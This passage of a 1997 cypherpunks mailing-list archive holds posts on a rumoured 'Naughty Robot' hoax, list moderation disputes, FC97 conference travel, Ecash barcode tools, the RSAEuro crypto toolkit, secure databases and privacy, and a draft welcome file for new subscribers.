take >> the info they see on there screen and dump to some remote server?? >> >> I was wondering if you have heard about it...and if so can you direct to >> the right locations on the web to get the "Official" Scoop on it? From stewarts at ix.netcom.com Sun Feb 16 12:36:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 12:36:09 -0800 (PST) Subject: test ping - cypherpunks@toad.com 12:32pm PST - ignore Message-ID: <3.0.1.32.19970216123345.006383e0@popd.ix.netcom.com> Hi! This is a test ping to verify whether mail to cypherpunks at toad.com gets forwarded successfully to one of the other cypherpunks lists, and how fast. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sun Feb 16 12:39:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 12:39:06 -0800 (PST) Subject: FBI_100 In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com> Message-ID: <3.0.1.32.19970216123445.00642698@popd.ix.netcom.com> # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sun Feb 16 12:42:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 12:42:07 -0800 (PST) Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com Message-ID: <3.0.1.32.19970216124146.00643a00@popd.ix.netcom.com> Hi! The following headers are from a posting by John Young that looks like it was sent to cypherpunks at toad.com, forwarded to cypherpunks at sirius.infonex.com and/or cypherpunks at cyberpass.net, and has the Reply-To: header set to reply to cypherpunks at toad.com instead of to John Young.... It looks like the obvious implementation of cypherpunks-style mail header patching, but isn't quite right..... Leads to people sending their John Young mailbot requests to cypherpunks at toad.com instead, as some well-known cypherpunks have mistakenly done recently :-) ===================================================== Return-Path: X-Sender: jya at pop.pipeline.com Date: Sat, 15 Feb 1997 09:04:14 -0500 To: cypherpunks at toad.com From: John Young Subject: FBI_100 Sender: owner-cypherpunks at sirius.infonex.com Reply-To: cypherpunks at toad.com X-List: cypherpunks at cyberpass.net 2-15-97. NYP: "Phone Companies Balk At Latest Plan by FBI." Markoff. ============================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dave at kachina.jetcafe.org Sun Feb 16 13:13:55 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sun, 16 Feb 1997 13:13:55 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702162113.NAA07700@kachina.jetcafe.org> Kent Crispin writes: > Dave is offering a single mailing list, which, while I am sure Dave is > a great person, still represents a single point of control and a > single point of failure. A distributed mailing list has a potential > for being much more robust, and for supporting a wide range of > viewpoints. I can also offer my participation in the distributed mailing list, if that is what it takes to get cypherpunks free of control interests again. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet A poor man shames us all. From jer+ at andrew.cmu.edu Sun Feb 16 13:19:23 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Sun, 16 Feb 1997 13:19:23 -0800 (PST) Subject: Questions about Naughty Robot (fwd) In-Reply-To: Message-ID: <0n1ram200YUe051PQ0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Genocide writes: > I got this message (on a system that I am webmaster on) regarding > something that sounded so stupid it made me chuckle...Naughty Robot...I > have enclosed the message below. If any of you have any idea what this > user is talking about, any info would be appreciated. > >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot > >> has infected your host computer and consider all your credit cards > >> stolen. > >> > >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have > >> been hit with it and say that it's a script that does hack into the > >> IPS's server and sits back and watches the users browse the web and take > >> the info they see on there screen and dump to some remote server?? > >> > >> I was wondering if you have heard about it...and if so can you direct to > >> the right locations on the web to get the "Official" Scoop on it? It could theoretically be a JavaScript that makes a teeny tiny window and reports back stuff that it really shouldn't be able to see, I think Netscape fixed that bug, though. FWIW, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwd5rskz/YzIV3P5AQF+7wMAwPZp89E0JQkI9OOGbqMULKTfEfyE6Edf 2K+U0l3I86aM6AkS6SeFbj2Nc6AwD3yXbFHR+d3Opn3yJcwGaLrCDtqM3qfeg8vR V3D3KWXVNai4ptHwB5ldM2GT+IQP0VJg =veqx -----END PGP SIGNATURE----- From dave at kachina.jetcafe.org Sun Feb 16 13:24:43 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sun, 16 Feb 1997 13:24:43 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702162124.NAA07767@kachina.jetcafe.org> Against Moderation writes: > I believe homophobia is a great way to bring out the censors in > people. However, inducing censorship is only part of fighting it. You assume that it is an enemy to be fought. While censorship is clearly undesireable, making it an enemy only strengthens it. > You also need respectable people to some in, argue cogently against > the dangers of censorship, perhaps even get some extremely reasonable > articles suppressed, and then spread the word about it. I find the > freedom-knights tactics' extremely lacking in this second, "clean up > and analyze the mess" phase. Part, if not all, of that lack is due to our knowledge of the subjective standard of "respectability" that human beings have. That's the same differentiation used in many censorship attempts, and if we made or supported such differentiations this would undermine any anti-censorship actions we could take. The meta-points are: - What is reasonable to you may or may not be reasonable to me. That is why we refrain from censoring others, since we have no absolute standard of reasonability. - You appear to be concerned with convincing others. We are not concerned with that, since we know that the default for most others is to be invincibly unconvincable. We are simply here to be living models for an arbitrary code of behavior...that behavior being outlined in the Freedom Knights FAQ. - Please remember that you have to judge who is and is not a Freedom Knight by their -actions- and not their claims. > censorship on cypherpunks. However, I think most peoples' opinions > didn't really turn, or at least people didn't realize how serious > things were and didn't really care, until Tim May [someone the many > freedom-knights hate] started criticizing this censorship in extremely > reasonable messages that were suppressed from both the -edited and > -flames mailing list. Assuming that is true, that people do not care about censorship until a person with an arbitrary reasonability says something, I would say that such a group cares not about free speech...even if they think they do. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Two men were fighting outside Nasrudin's window at dead of night. Nasrudin got up, wrapped his only blanket around himself, and ran outside. As he tried to reason with the drunks, one snatched his blanket and both ran away. "What were they arguing about?" asked his wife when he went in. "It must have been the blanket. When they got that, the fight broke up." From rah at shipwright.com Sun Feb 16 13:57:30 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 16 Feb 1997 13:57:30 -0800 (PST) Subject: FC97: Post-strike airfares Message-ID: One more datablip about FC97 and I'll shut up a bit. Having just promised gratuitously cheap airfares to Anguilla/St. Maarten, I went and called the local branch of American Express Travel and got some actual prices. Their number is 617-868-2600, but AEXP-T has branches everywhere, and, I think, an 800 number, so you might want to get ahold of them that way... Anyway, here's what I got, as of about 20 minutes ago: For departures 2/22/97 with return 3/1/97, Boston Anguilla $ 864 Boston St. Maarten 851 (+ Taxi and short ferry ride to Anguilla) San Francisco Anguilla 828 San Francisco St. Maarten 748 Heathrow Anguilla 1,315 (looks like the strike didn't affect you folks, sorry) All in all, that's as good as the prices we were getting for 14 day advance purchase earlier this month. Not bad, but not completely spectacular. Note that it's cheaper to get to Anguilla or St. Maarten from San Francisco than it is from Boston, so y'all don't have an excuse. Well, possibly seat fatigue, but Sunday on the beach will fix that. I'll check tomorrow to see if the airline yield management software war gives us something better after the weekend's over. Only if fares are significantly lower will I post something here about it, in the interest of nomex conservation. :-). If you *do* decide to fly while the seats are hot, don't forget to register for FC97 first, so we can plan for meals and stuff: Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From boursy at earthlink.net Sun Feb 16 14:32:31 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sun, 16 Feb 1997 14:32:31 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702162124.NAA07767@kachina.jetcafe.org> Message-ID: <33078BE3.2FD@earthlink.net> Dave Hayes wrote: > >> censorship on cypherpunks. However, I think most peoples' opinions >> didn't really turn, or at least people didn't realize how serious >> things were and didn't really care, until Tim May [someone the many >> freedom-knights hate] started criticizing this censorship in extremely >> reasonable messages that were suppressed from both the -edited and >> -flames mailing list. > > Assuming that is true, that people do not care about censorship until > a person with an arbitrary reasonability says something, I would say > that such a group cares not about free speech...even if they think > they do. I agree--and again that is sad. Hopefully many have learned from the experience--that does on occassion really happen. Steve From toto at sk.sympatico.ca Sun Feb 16 14:40:59 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 16 Feb 1997 14:40:59 -0800 (PST) Subject: 'Jim Beam' me up, Scotty! Message-ID: <199702162240.OAA04852@toad.com> scribve cypherpunks-thenextgeneration "Dr. Spook" <6UALDV8 at cyberspace.9> From stewarts at ix.netcom.com Sun Feb 16 14:41:05 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 14:41:05 -0800 (PST) Subject: FBI_100 Message-ID: <199702162241.OAA04866@toad.com> # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From marc at digicash.com Sun Feb 16 14:41:08 1997 From: marc at digicash.com (Marc Briceno) Date: Sun, 16 Feb 1997 14:41:08 -0800 (PST) Subject: Printed Ecash decoder now available Message-ID: <199702162241.OAA04877@toad.com> Ian Goldberg won the second part of the "turn Ecash into 2-D bar code and back into an Ecash payment" contest. Building on Jeremey Barrett's Ecash -> PDF417 encoder, Ian wrote an Ecash PDF417 encoder and decoder. http://www.isaac.cs.berkeley.edu/tools/pdf417-1.0.tar.gz It is now possible to print Ecash on a laser printer and scan it back in on a standard flat bed scanner. Possible applications include sending Ecash by fax or mail. Ian notes the following: "Also: these are general PDF417 tools; they can be used to encode any binary data, not just ecash (the decoder will _not_ be able to decode arbitrary barcodes; it doesn't know about "numeric compaction" mode and other things in the spec that the encoder doesn't actually use)." Congratulations to Ian for this accomplishment! -- Marc Briceno Ecash(tm) Electronic Cash Evangelist/Developers Support From president at whitehouse.gov Sun Feb 16 14:41:13 1997 From: president at whitehouse.gov (Bill Clinton) Date: Sun, 16 Feb 1997 14:41:13 -0800 (PST) Subject: We're in Anguilla! Comon down!!! Message-ID: <199702162241.OAA04900@toad.com> My fellow cypherpunks, I wanted to let you all know, we are having a great time, building a router to the 21st Century, down here in sunny Anguilla. Al and I will be wiring Anguilla's great high school for the internet. Afterwards, we'll meet with some longtime supporters of the democratic party for a beer. Spaces at the conference are still available, I didn't let those folks at American strike, so you have no excuses to be anywhere else next week. Willy Citizen Unit 429-92-9947 From stewarts at ix.netcom.com Sun Feb 16 14:41:21 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 14:41:21 -0800 (PST) Subject: test ping - cypherpunks@toad.com 12:32pm PST - ignore Message-ID: <199702162241.OAA04937@toad.com> Hi! This is a test ping to verify whether mail to cypherpunks at toad.com gets forwarded successfully to one of the other cypherpunks lists, and how fast. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ichudov at algebra.com Sun Feb 16 14:41:27 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 16 Feb 1997 14:41:27 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702162241.OAA04949@toad.com> Sean Roach wrote: > > At 04:45 PM 2/15/97 -0600, Igor Chudov wrote: > >Roy M. Silvernail wrote: > ... > >> Or that the money wasn't there in the first place (absent a trusted > >> signature system), or the key doesn't exist, or the wrong key is > >> offered, or the sender put the same e-dollar on all 60000 mails sie > >> sent and it's already been redeemed. > > > >Well, if the trusted party performs the encryption by both recipient's > >public key and the "retrieval key", the problem that you mention can > >be avoided. > Yeah. I as a spam artist send the "proof" message through the e-cash > verification center with the Send To: field returning it to a mail exploder. > Each receipient gets the same dollar. > This assumes that the To: field is not hashed into the verification > signature, and that the verification works like a glorified remailer. (cash > added on a separate channel). > Sean, No, it works the other way. The verification center gets $1000, creates 1000 $1 coins, signs them and encrypts each with the given recipients' public keys. The spammers gets these signed and encrypted coins, may superencrypt them and sends them to the recipients. As long as the trusted party is honest, there is no way to cheat. - Igor. From rsaeuro at sourcery.demon.co.uk Sun Feb 16 14:41:28 1997 From: rsaeuro at sourcery.demon.co.uk (RSAEuro General) Date: Sun, 16 Feb 1997 14:41:28 -0800 (PST) Subject: ANNOUNCE:- RSAEuro Message-ID: <199702162241.OAA04950@toad.com> ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial) ================================================================ What is RSAEuro? ---------------- RSAEuro is a cryptographic toolkit providing various functions for the use of digital signatures, data encryption and supporting areas (PEM encoding, random number generation etc). To aid compatibility with existing software, RSAEuro is call-compatible with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US residents to make use of much of the cryptographic software previously only (legally) available in the US. RSAEuro contains support for the following: * RSA encryption, decryption and key generation. Compatible with 'RSA Laboratories' Public-Key Cryptography Standard (PKCS) #1. * Generation and verification of message digests using MD2, MD4, MD5 and SHS (SHS currently not implemented in higher-level functions to maintain compatibility with PKCS). * DES encryption and decryption using CBC (1, 2 or 3 keys using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's secure DES enhancement. Blowfish and RRC.2 encryption and decryption using CBC (available in commercial versions only). * Diffie-Hellman key agreement as defined in PKCS #3. * PEM support support for RFC 1421 encoded ASCII data with all main functions. * Key routines implemented in assembler for speed (80386 and 680x0 currently supported). * Much improved library documentation with code samples. International Use ----------------- IMPORTANT NOTICE: Please do not distribute or use this software in the US it is 'illegal' to use this toolkit in the US, as RSADSI and Cylink hold patents relating to public-key cryptography. If you are a US resident, please use the RSAREF toolkit instead. On The Web ---------- RSAEuro can now be found at http://www.sourcery.demon.co.uk/RSAEuro.html Author Details -------------- With comments and suggestions, please address them to Stephen Kapp, at 'rsaeuro at sourcery.demon.co.uk', for documentation comments suggestions please address them to Nick Barron, at 'nikb at sourcery.demon.co.uk' ---------------------------------------------------------------------------- RSAEURO: rsaeuro at sourcery.demon.co.uk RSAEURO Bugs: rsaeuro-bugs at sourcery.demon.co.uk Tel: +44 (0) 468 286034 Http: http://www.sourcery.demon.co.uk/rsaann.html RSAEURO - Copyright (c) J.S.A.Kapp 1994-1996. ---------------------------------------------------------------------------- From gen2600 at aracnet.com Sun Feb 16 14:41:30 1997 From: gen2600 at aracnet.com (Genocide) Date: Sun, 16 Feb 1997 14:41:30 -0800 (PST) Subject: Questions about Naughty Robot (fwd) Message-ID: <199702162241.OAA04951@toad.com> I got this message (on a system that I am webmaster on) regarding something that sounded so stupid it made me chuckle...Naughty Robot...I have enclosed the message below. If any of you have any idea what this user is talking about, any info would be appreciated. Personally it sounds like another "GoodTimes Virus" again... Genocide Head of the Genocide2600 Group ============================================================================ **Coming soon! www.Genocide2600.com! ____________________ *---===| |===---* *---===| Genocide |===---* "Courage is not defined by those who *---===| 2600 |===---* fought and did not fall, but by those *---===|__________________|===---* who fought, fell, and and rose again." Email: gen2600 at aracnet.com Web: http://www.aracnet.com/~gen2600 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ It is by caffeine alone that I set my mind in motion. It is by the Mountain Dew that the thoughts acquire speed, the lips acquire stains, the stains become a warning. It is by caffeine alone that I set my mind in motion. ================================================================================ Date: Sun, 16 Feb 1997 10:30:37 -0800 (PST) Subject: Re: Questions about Naughty Robot Resent-Date: Sun, 16 Feb 1997 12:10:54 -0800 (PST) >> Don't wanna bug ya too much, but I was wondering if you have ever heard >> of Naughty Robot, and whether or not if it is a hoax or Real? >> >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot >> has infected your host computer and consider all your credit cards >> stolen. >> >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have >> been hit with it and say that it's a script that does hack into the >> IPS's server and sits back and watches the users browse the web and take >> the info they see on there screen and dump to some remote server?? >> >> I was wondering if you have heard about it...and if so can you direct to >> the right locations on the web to get the "Official" Scoop on it? From rah at shipwright.com Sun Feb 16 14:41:31 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 16 Feb 1997 14:41:31 -0800 (PST) Subject: *Really* Shameless, Gratuitous, FC97 DFA Hucksterism (Was Re: DFA) Message-ID: <199702162241.OAA04953@toad.com> At 1:29 pm -0500 on 2/16/97, John Young wrote: > Paul Bell wrote: > >does anyone know what has happened to DFA, and the people who > >just a few months ago were publishing such encouraging results? > > There seems be sustained investigation of DFA, offensive and defensive, > by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by > Quisquater and others. > > However, the smartcard manufacturers appear to have a role in dampening > publicity about the ongoing research, or at least diminishing the claims of > effectiveness of DFA. At FC97 ;-), we have the following paper at 10:45 on Tuesday February 22nd: > Fault Induction Attacks, Tamper Resistance, and Hostile Reverse > Engineering in Perspective > David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA) I'm not sure whether which side of the fight this paper will be on, but it could be easy to speculate from the title. :-). On the other side of the coin, we invited Shamir to come talk about his DFA work, but eventually it turned out that he couldn't make the trip. Maybe next year. We *did* get Ron Rivest, though. (Shameless plug: Our *other* invited speakers are Simon L. Lelieveldt of the Dutch central bank, who'll talk about the security of electronic money, and Peter Wayner, the author of "Digital Cash", who'll talk about money laundering.) (*Really* shameless hucksterism: Since AA *didn't* strike, they're offering mucho cheapseat deals to places like Anguilla and St. Maarten, a short ferry ride away, even if you make your reservations on really short notice. Like, maybe to go to FC97? Nudge, Nudge. We can also get you *cheap* hotel rooms when you get there... Wink, wink, wink.) Meanwhile, the FC97 workshop (which runs the week prior to the conference itself) starts on Monday, and, having weathered the American Airlines non-strike, Ian Goldberg, Adam Shostack and Gary Howland are now all down in Anguilla getting things set up. I don't think people can get to *that* in time, but, hey, you could *try*, I suppose. Better get packing, though, 'cause time is running out. The workshop starts at 09:00 tomorrow. ;-). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From stewarts at ix.netcom.com Sun Feb 16 14:41:41 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 14:41:41 -0800 (PST) Subject: Query on "secure databases" Message-ID: <199702162241.OAA04967@toad.com> Hi, Peter - here's my previous posting, with an addendum, Cc: cypherpunks At 04:43 PM 2/11/97 -0500, Peter Swire wrote: > Can you point me to anything I can read on "secure databases"? I >hadn't hit that term before. I am curious to what extent they are secure >due to cryptographic approaches, or to what extent you rely on other >mechanisms for keeping out unauthorized users. It's been a long time since I've looked much into it, since I was getting out of phone-company-defense-contractor mode at the time the field was developing. I think the NCSC Rainbow Book that deals with secure databases is the Purple Book, though it might be the Gray. Oracle and/or Sybase have done some work trying to do databases at the B1 or B2 level, but I don't know details. I'll talk about secure databases a bit, but for the real world there's more useful stuff that isn't related to them. =================== Begin "Secure Database" Section ============== At the time, the Orange Book (security for standalone computers) was well-understood, though there weren't really any systems above B2 level, and the Red Book was written, but nobody really had a clue how to implement multi-level machines on a multi-level LAN, though you could use encrypting Ethernet cards to get single-level machines of different levels on the same LAN, if they were all administered by the same group of people (so user-IDs and security levels worked across the entire system.) At the lower security levels, Orange Book techniques mainly involve removing bugs and adding accounting features. At the higher levels, the key is to come up with a good mathematical/logical model of interactions in your computer system, and then design a computer system that only does the things permitted by the model and prove it does that. Some of these systems use cryptographic techniques, including some of the capability-based systems - see Bill Frantz's KeyKOS work, which he's referred to on Cypherpunks occasionally. The objective is to have databases that can be accessed by multiple users with different sets of security permissions. In the military vernacular, this mainly means having UNCLASSIFIED, CONFIDENTIAL, SECRET, and maybe TOP SECRET data in the database, where not all users are cleared to the highest security level, and maybe projects X, Y, and Z, where users of project X may not have a need to know for project Y, etc. The easy problems are probably solved by now - either you do a good job of verifying the design and bug-free-ness of your database software so you can be sure that each request includes, and obeys, security levels, or you use crypto to encrypt the data items for each security level (e.g. everybody with a SECRET or PROJECT Z clearance shares a key for that data, which isn't really ideal for non-small groups of people, the database just tries to do a good job, and you only do operations in the database that make sense when the data is encrypted, though that's annoyingly restrictive for many applications.) The sticky problems are aggregation-related. It may be ok if an uncleared person knows that military base A has missile types 1, 3, and 5, and if the uncleared person knows where all your military bases are. But is it ok if the uncleared person knows about _all_ the missiles at _all_ the bases, and can tell that nobody's using Type 2 missiles any more, and that all the Type 4 missiles got moved to New Jersey last week? =============== End "Secure Database" section ================= =============== Begin "Real-World and Crypto" section ========= For the average person, though, the simple military models aren't really useful. You really care more about groups of people, though the multi-level stuff is sometimes a good way to keep machines from being hacked. But the real problem is that computers are very good at correlating information - if two different companies know your Social Security Number, and they share their data with each other (maybe for a price), then they can all tie together everything they each know about you. And there's no way to stop it, except by limiting the information you give people (which limits the transactions they'll do with you), or contractually limiting what they can do with it (good luck), or using multiple identities - and even then, computers are often good at guessing that the John Doe at 1234 Main Street is the related to Jane Smith at 1234 Main Street, and maybe the foreign car parts Jane bought on her American Express are for the Porsche registered to John, so there's a junk-mail opportunity. There's really only one technology that lets you avoid this, which is crypto and its relatives - though you still have to get people you use business with to use it, which is an uphill game. Some of the fundamental work on this is David Chaum's papers on Credentials without Identity (or something about like that, from ~1985.) For instance, you can have a voter registration number that's cryptographically signed by the voting bureau, but uses blinded signatures so they can't correlate the known good unique number with the Peter Swire who walked in and showed a picture ID one day. A driver's license smartcard could keep a pointer to your driving records, but wouldn't give your True Name, and would only show a cop that the person whose picture is on the front is a Licensed Driver, and maybe could demonstrate that the bearer knows the card's PIN. One big issue is that the government is pushing banks to demand SSNs, and requiring employers to demand SSNs (makes them easy Employee IDs), and pushing medical insurers and providers to use SSNs (makes it easy to collect Medicare data.) You can gain a lot of privacy just by having employers use their own employee-ID numbering system, so the travel agent subcontracting to Corporate Travel doesn't need your SSN on every form they fill out. But suppose the Social Security Administration and IRS issued you a bunch of separate numbers, that were either related using a cryptographic key, or just randomly picked and kept in a big database (maybe pointing to your old SSN), so you could give everybody who needs a Tax ID a different number, and only you and the IRS could correlate them. (To some extent, you can do this yourself by creating lots of companies, but it's a real pain and costs a certain amount of money.) =============== addendum ===================== Of course, for many transactions, the way to reduce the privacy problems is to use bearer certificates rather than book-entry approaches - pay cash, or digicash, rather than credit cards, use on-line anonymous delivery of bits, or picking up stuff in person, rather than mailing stuff to a snail address, etc. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ichudov at algebra.com Sun Feb 16 14:41:45 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 16 Feb 1997 14:41:45 -0800 (PST) Subject: Proposed info file Message-ID: <199702162241.OAA04968@toad.com> Hi, The text below is what I wrote for cypherpunks at algebra.com to be sent to new subscribers. Feel free to criticize. - Igor. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ About cypherpunks mailing lists ------------------------------- * * * ATTENTION: PLEASE SAVE THIS MESSAGE IN A MAIL FOLDER!!! IT WILL BE * * * HELPFUL FOR YOU WHEN YOU WANT TO UNSUBSCRIBE FROM cypherpunks MAILING * * * LIST. * * * * * * DO NOT JUST DELETE THIS MESSAGE. I. Administrivia (please read, boring though it may be) The cypherpunks list cypherpunks at algebra.com is one of the cypherpunks mailing lists discussing cryptography, privacy, and social issues relating to them. These lists are connected to each other in such a way that all messages appear on all of these lists. All of these lists are high-volume mailing lists. There are several reasons for existence of multiple mailing lists that are inter-subscribed. The main reason is the large number of subscribers and limited bandwidth of each of the participating list nodes -- each node can take on only that many users. Most people will not want to subscribe to more than one of these lists. If you don't know how to do something, like unsubscribe, send mail to majordomo at algebra.com and the software robot which answers that address will send you back instructions on how to do what you want. If you don't know the majordomo syntax, an empty message to this address will get you a help file, as will a command 'help' in the body. Even with all this automated help, you may still encounter problems. If you get really stuck, please feel free to contact me directly at the address I use for mailing list management: cypherpunks-request at algebra.com Please use this address for all mailing list management issues. Hint: if you try to unsubscribe yourself from a different account than you signed up for, it likely won't work. Log back into your old account and try again. If you no longer have access to that account, mail me at the list management address above. Also, please realize that there will be some cypherpunks messages "in transit" to you at the time you unsubscribe. If you get a response that says you are unsubscribed, but the messages keep coming, wait a day and they should stop. Do not mail to the whole list asking to be removed. It's rude ans stupid. To post to the whole list, send mail to cypherpunks at algebra.com If your mail bounces repeatedly, you will be removed from the list. Nothing personal, but I have to look at all the bounce messages. There is no digest version available. There is a meta list which discusses the architecture and other issues of the distributed cypherpunks lists. It is not intended to be used for crypto discussions. if you want to be added or removed to the metadiscussion list, send a message "subscribe cypherpunks-hosts" to majordomo at algebra.com. II. About cypherpunks The cypherpunks list is not designed for beginners, although they are welcome. If you are totally new to crypto, please get and read the crypto FAQ referenced below. This document is a good introduction, although not short. Crypto is a subtle field and a good understanding will not come without some study. Please, as a courtesy to all, do some reading to make sure that your question is not already frequently asked. There are other forums to use on the subject of cryptography. The Usenet group sci.crypt deals with technical cryptography; cypherpunks deals with technical details but slants the discussion toward their social implications. The Usenet group talk.politics.crypto, as is says, is for political theorizing, and cypherpunks gets its share of that, but cypherpunks is all pro-crypto; the debates on this list are about how to best get crypto out there. The Usenet group alt.security.pgp is a pgp-specific group, and questions about pgp as such are likely better asked there than here. Ditto for alt.security.ripem. alt.cypherpunks is indended as a mirror USENET forum for this mailing list. III. Posting Policy. Please note that some members of cypherpunks mailing list may surprise you as very rude people. You may see views that sound very offensive to you. You will also see many articles that make no sense to you, are very stupid, or appear to be commercial advertisements. Consider such situation to be a price of YOUR freedom to post anything you want. Remember that speech that pleases everyone needs no protection: it is the offensive speech that is most often assaulted and thus needs to be protected. Also, speech that you find silly and distasteful may seem to be of great use for others. If you feel that some poster's articles are not useful and offensive to you, you can set up your mail reading software to ignore all articles coming from that person. Ignoring them silently has shown to be the best way of dealing with them. It will save you a lot of your own time. Even though you are free do write anything, please consider not following up to their posts with suggestions to shut them up. It only decreases usefulness of this mailing list. Eudora for Windows is known for its mail filtering capability. Procmail is a tool of choice for Unix users who want to filter their articles. Please read the documentation for these programs to find out how to set them to filter and delete unwanted messages. None of the above precludes the administrator of this mailing list to use tools protecting his hardware and bandwidth from denial of service attacks. If someone maliciously mailbombs cypherpunks mailing list, the mail bombs may be silently ignored and not passed on to the list. IMPORTANT: the list owner does not monitor the content of the messages appearing here. I disclaim any liability whatsoever for the content of articles on cypherpunks at algebra.com. If you have a problem with any materials posted here, please contact the poster to resolve them. Your use of the resources of this list constitutes an agreement with these terms. You have been warned. IV. Resources. A. The sci.crypt FAQ anonymous ftp to rtfm.mit.edu:/pub/usenet-by-group/sci.crypt The cryptography FAQ is good online intro to crypto. Very much worth reading. Last I looked, it was in ten parts. B. cypherpunks ftp site anonymous ftp to ftp.csua.berkeley.edu:/pub/cypherpunks This site contains code, information, rants, and other miscellany. There is a glossary there that all new members should download and read. Also recommended for all users are Hal Finney's instructions on how to use the anonymous remailer system; the remailer sources are there for the perl-literate. C. Bruce Schneier's _Applied Cryptography_, published by Wiley This is required reading for any serious technical cypherpunk (and there are no non-technical cypherpunks). An excellent overview of the field, it describes many of the basic algorithms and protocols with their mathematical descriptions. Some of the stuff at the edges of the scope of the book is a little incomplete, so short descriptions in here should lead to library research for the latest papers, or to the list for the current thinking. All in all, a solid and valuable book. It's even got the cypherpunks-request address. Enjoy and deploy. ----------------------------------------------------------------------------- Cypherpunks assume privacy is a good thing and wish there were more of it. Cypherpunks acknowledge that those who want privacy must create it for themselves and not expect governments, corporations, or other large, faceless organizations to grant them privacy out of beneficence. Cypherpunks know that people have been creating their own privacy for centuries with whispers, envelopes, closed doors, and couriers. Cypherpunks do not seek to prevent other people from speaking about their experiences or their opinions. The most important means to the defense of privacy is encryption. To encrypt is to indicate the desire for privacy. But to encrypt with weak cryptography is to indicate not too much desire for privacy. Cypherpunks hope that all people desiring privacy will learn how best to defend it. Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to learn about it, to teach it, to implement it, and to make more of it. Cypherpunks know that cryptographic protocols make social structures. Cypherpunks know how to attack a system and how to defend it. Cypherpunks know just how hard it is to make good cryptosystems. Cypherpunks love to practice. They love to play with public key cryptography. They love to play with anonymous and pseudonymous mail forwarding and delivery. They love to play with DC-nets. They love to play with secure communications of all kinds. Cypherpunks write code. They know that someone has to write code to defend privacy, and since it's their privacy, they're going to write it. Cypherpunks publish their code so that their fellow cypherpunks may practice and play with it. Cypherpunks realize that security is not built in a day and are patient with incremental progress. Cypherpunks don't care if you don't like the software they write. Cypherpunks know that software can't be destroyed. Cypherpunks know that a widely 